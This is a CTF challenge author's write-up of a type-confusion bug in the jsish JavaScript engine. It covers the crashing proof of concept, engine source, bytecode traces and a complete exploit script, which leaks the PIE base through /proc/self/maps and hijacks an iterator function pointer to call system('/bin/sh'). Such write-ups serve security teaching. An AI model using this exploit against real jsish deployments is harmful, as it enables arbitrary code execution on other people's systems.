Epilogue

With DefCamp’s DCTF Finals 2025 behind us, I want to share my intended solution for the inline8(revenge) challenge which I authored for the competition. Sadly, no team managed to solve it during the event but some got very close and, interestingly enough, using other paths(goes to show the abandoned state of the random project I chose😭). Now to be fair, when I was working on the challenge I knew people might find other exploits as the project hadn’t been updated in a couple years and it already had a few open issues on GitHub(none of which could be exploited for RCE but still).

I also want to point out that the initial crash was found while playing around with fuzzing. To be more specific, I was using fuzzilli and a custom patch of the jsish engine(to implement fuzzilli’s harness). Jsish crashed only after a couple minutes of fuzzing so I knew this would be feasible for a CTF.

The bug

let a = [1.1, 2.2, 3.3, 4.4];
for (var i in a) {
    a[0] instanceof f;
}
/home/ctf/bruh.js:2: bug: next: toq not a iter
[1]    6168 segmentation fault (core dumped)  ./jsish/jsish ./bruh.js

The bug is triggered when you have an instanceof operation inside a for-in loop where the left-hand side is an array access. Running this with a debugger shows exactly where the crash happens:

src/jsiEval.c:1634:

...
    Jsi_Value *toq = _jsi_TOQ, *top = _jsi_TOP;
    if (toq->vt != JSI_VT_OBJECT || toq->d.obj->ot != JSI_OT_ITER)
        Jsi_LogBug("next: toq not a iter\n");
    if (top->vt != JSI_VT_VARIABLE) {
        rc = Jsi_LogError ("invalid for/in left hand-side");
        break;
    }
    if (strict && top->f.bits.local==0) {
        const char *varname = "";
        Jsi_Value *v = top->d.lval;
        if (v->f.bits.lookupfailed)
            varname = v->d.lookupFail;

        rc = Jsi_LogError("function created global: \"%s\"", varname);
        break;
    }
    Jsi_IterObj *io = toq->d.obj->d.iobj;
    if (!io) {
        rc = Jsi_LogError("bad loop");
        break;
    }
    if (io->iterCmd) { // TODO: not implemented yet
        io->iterCmd(io, top, _jsi_STACKIDX(fp->Sp-3), io->iter++); // here we crash
    } else {
...

The crash happens because toq is expected to be an iterator object but is actually confused with something else, leading iterCmd to NOT be null, but rather point to some random heap memory.

Let’s dive a little deeper. The code snippet above is part of the main bytecode switch-case interpreter loop. More specifically it handles NEXT, which is the bytecode instruction used for advancing iterator objects. As you can see here: Jsi_Value *toq = _jsi_TOQ, *top = _jsi_TOP;, it fetches the top two values from the stack.

#define _jsi_TOP (interp->Stack[interp->framePtr->Sp-1])
#define _jsi_TOQ (interp->Stack[interp->framePtr->Sp-2])

Then, it uses toq to get the iterator object and calls its iterCmd function pointer if it’s not null. We can also take a look at instanceof’s implementation:

src/jsiEval.c:1759:

    case OP_INSTANCEOF: {
        jsiVarDeref(interp,2);

        int bval = Jsi_ValueInstanceOf(interp, _jsi_TOQ, _jsi_TOP);
        jsiPop(interp,1);
        Jsi_ValueMakeBool(interp, &_jsi_TOP, bval);
        break;
    }

jsish support bytecode printing with the --bytecode flag, so we can compile and run our PoC to see the generated bytecode:


...
0x1e5280: 13#3     PUSHVAR var: "a"      : THIS=OBJ:0x18da80, STACK=[OBJ:0x1e9390, 0x1e95c0], bruh.js:3
0x1e52a0: 14#0     PUSHNUM 0             : THIS=OBJ:0x18da80, STACK=[OBJ:0x1e9390, OBJ:0x1e95c0, VAR:0x1e3fe0]
0x1e52c0: 15#3     PUSHVAR var: "f"      : THIS=OBJ:0x18da80, STACK=[OBJ:0x1e9390, OBJ:0x1e95c0, VAR:0x1e3fe0, NUM:0 ], bruh.js:3
0x1e52e0: 16#0     INSTANCEOF            : THIS=OBJ:0x18da80, STACK=[OBJ:0x1e9390, OBJ:0x1e95c0, VAR:0x1e3fe0, NUM:0 , VAR:0x1e9750]
0x1e5300: 17#0     POP 1                 : THIS=OBJ:0x18da80, STACK=[OBJ:0x1e9390, OBJ:0x1e95c0, VAR:0x1e3fe0, BOO:0]
0x1e5320: 18#0     JMP {18446744073709551608}     #10 : THIS=OBJ:0x18da80, STACK=[OBJ:0x1e9390, OBJ:0x1e95c0, VAR:0x1e3fe0]
0x1e5220: 10#2     PUSHVAR var: "i"      : THIS=OBJ:0x18da80, STACK=[OBJ:0x1e9390, OBJ:0x1e95c0, VAR:0x1e3fe0], bruh.js:2
0x1e5240: 11#2     NEXT                  : THIS=OBJ:0x18da80, STACK=[OBJ:0x1e9390, OBJ:0x1e95c0, VAR:0x1e3fe0, VAR:0x1e4b00], bruh.js:2
/home/ctf/bruh.js:2: bug: next: toq not a iter
[1]    7647 segmentation fault (core dumped)  ./jsish/jsish --bytecode ./bruh.js

Address values simplified for clarity.

Above is a snippet of the generated bytecode that is relevant to our PoC and is responsible for a[0] instanceof f inside the for-in loop:

  • PUSHVAR var: "a": Pushes the variable a (our array) onto the stack.
  • PUSHNUM 0: Pushes the number 0 onto the stack.
  • PUSHVAR var: "f": Pushes the function f (which is undefined in our case but it doesn’t matter) onto the stack.
  • INSTANCEOF: Attempts to execute instanceof between a[0] and f but this is entirely wrong. Look at the top two stack values: NUM:0 , VAR:0x1e9750. It ignores the array entirely, thus causing it’s reference to remain on the stack and mess it up for the NEXT instruction later on.

As I highlighted above, when NEXT is executed, toq points to the array object instead of an iterator, triggering the type confusion and ultimately the crash.

The bug most likely stems from how this specific line a[0] instanceof f; is compiled into bytecode. The compiler seems to mishandle the array access when it’s used as the left operand of instanceof, leading to incorrect stack manipulation. Aditionally, it needs to be wrapped in a for-in loop because OP_NEXT directly uses toq from the stack.

Exploitation

We need a way to control iterCmd in order to call any function we want and I have just the right primitive for that: string literals. A string literal is stored like this on the heap:

0x55555581fb98:	0x4242424241414141	0x4444444443434343
0x55555581fba8:	0x4646464645454545	0x4848484847474747
0x55555581fbb8:	0x0000000000000000	0x0000000000000000
0x55555581fbc8:	0x0000000000000021	0x000055555581fb98
                       iterCmd

As you can see, string literals directly store their data on the heap so with the correct offset we can control iterCmd. We also hit two birds with one stone here because iterCmd is called with the first argument being the iterator object itself, which means we can also control the first argument of the function we want to call. This makes it pefect for calling system('/bin/sh') since we can set up the string literal to start with /bin/sh.

There is only one slight(major) problem: we don’t have any ASLR leaks. I actually spent a couple hours trying to find a way to leak addresses(via this bug or with another) but I couldn’t find anything(skill issue) so I figured I just let import be available to call and just do import('/proc/self/maps'), thus leaking PIE:

Jsish interactive: see 'help [cmd]' or 'history'.  \ cancels > input.  ctrl-c aborts running script.
$ import('/proc/self/maps')
/proc/self/maps:1: error: invalid number: 62d4aefcc000
/proc/self/maps:1: parse: :1.41: error: syntax error, unexpected end of file, expecting FOR or WHILE or DO or SWITCH
ERROR

Of course, finding an actual leak could make the challenge more difficult to say the least so I left it as is for the competition.

This address leak via import error message is printed to stderr so I had to make use of a rather interesting feature of jsish which allows you to construct new interpreter instances directly from javascript and set custom printing callbacks:

function log_msg(msg, isStderr) {
    do_exploit(msg);
}
opts.debugOpts.putsCallback = 'log_msg';
const child = new Interp(opts);
child.eval(" try { import('/proc/self/maps'); } catch (e) {};");

And here is the final exploit code:

function toByte(a, b) {
    let charset = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "a", "b", "c", "d", "e", "f"];
    a = charset.indexOf(a);
    b = charset.indexOf(b);
    return a * 16 + b;
}

function hexToNumber(a) {
    let res = Number(0);
    for (let i = 0; i < a.length; i += 2) {
        res = (res * 256) + toByte(a[i], a[i + 1]);
    }
    return res;
}

function numberToHex(x) {
    var HEX = "0123456789abcdef";
    if (x === 0) return "00";
    let out = "";
    while (x > 0) {
        let byte = x & 0xff;
        let hi = (byte >> 4) & 0xf;
        let lo = byte & 0xf;
        out = HEX[hi] + HEX[lo] + out;
        x = Math.floor(x / 256);
    }
    return out;
}

var out = 0;
var opts = {
    debugOpts:{}
};

function do_exploit(leak) {
    console.log(leak);
    let aux = leak.indexOf("error: invalid number: ");
    if (aux == -1) {
        return;
    }
    leak = leak.slice(aux + 23, aux + 23 + 12).trim();
    console.log(leak);
    var system_plt = hexToNumber(leak) + 209316;
    system_plt = numberToHex(system_plt);
    console.log(system_plt);
    var pie_base_bytes = "";
    for (var i = 0; i < 12; i += 2) {
        if (i < 0)
            break;
        let a = system_plt[11 - i - 1];
        let b = system_plt[11 - i];
        console.log(toByte(a, b));
        if (!(toByte(a, b) >= 30 && toByte(a, b) <= 128) && !(toByte(a, b) == 164)){
            return;
        }
        pie_base_bytes += String.fromCharCode(toByte(a, b));
    }
    console.log(pie_base_bytes);
    console.log(pie_base_bytes.length);
    // var pie_base_bytes = "BBBBBB";
    // eval('var leak = "cat /flag*;#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + pie_base_bytes + '";');
    eval('var leak = "/bin/sh;#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + pie_base_bytes + '";');

    console.log(leak);

    var idx = 0;
    for (var v3 in [1.1, 2.2, 3.3, 4.4]) {
        leak[0] instanceof f0;
        console.log(v3);
        idx += 1;
        if (idx == 2)
            break;
    }

}

function log_msg(msg, isStderr) {
    do_exploit(msg);
}
opts.debugOpts.putsCallback = 'log_msg';
const child = new Interp(opts);
child.eval(" try { import('/proc/self/maps'); } catch (e) {};");

It won’t work on the first try since we need ASLR to be in ASCII range in order to construct the string literal properly.

How I found this bug

As I mentioned earlier, I found this bug while fuzzing the jsish engine with fuzzilli. After setting up the REPRL(read eval print reset loop) and coverage information fuzzilli harness, I let it run but it still did not find anything. Taking it to raw code review, I noticed Jsi_LogBug calls sprinkled around the codebase. These are basically assertions that log a message in case something unexpected happens. Therefore, a better idea would be to fuzz for triggering these prints instead of naive crashes. I achieved this by changing Jsi_LogBug’s definition:

#define Jsi_LogBug(fmt,...)   ( (Jsi_LogMsg(interp, NULL, JSI_LOG_BUG, fmt, ##__VA_ARGS__), (*(volatile int*)0x69 = 0), JSI_ERROR) )

Basically causing a segfault after logging the bug message. This time, after a few minutes of fuzzing, the bug was found!

Prologue

So that’s it for this writeup. I’m a little sad that nobody solved it during the competition but, to be fair, the CTF only had 8 hours. Also, jsish has a lot of random functionalities like reading from the filesystem, sql stuff, network stuff, etc so I had to patch them out in order to make the challenge focused on low-level memory bugs BUT I messed it up. The initial released challenge had an unintended arbitrary file read by using File so I had to release a revenged version 2 hours after the competition started😭.

Other than that, I’m really curious about the feasibility of fuzzers during CTFs. Imagine having an automated setup that fuzzes challenges while you do manual code review, that would be pretty cool.

See you in the next one!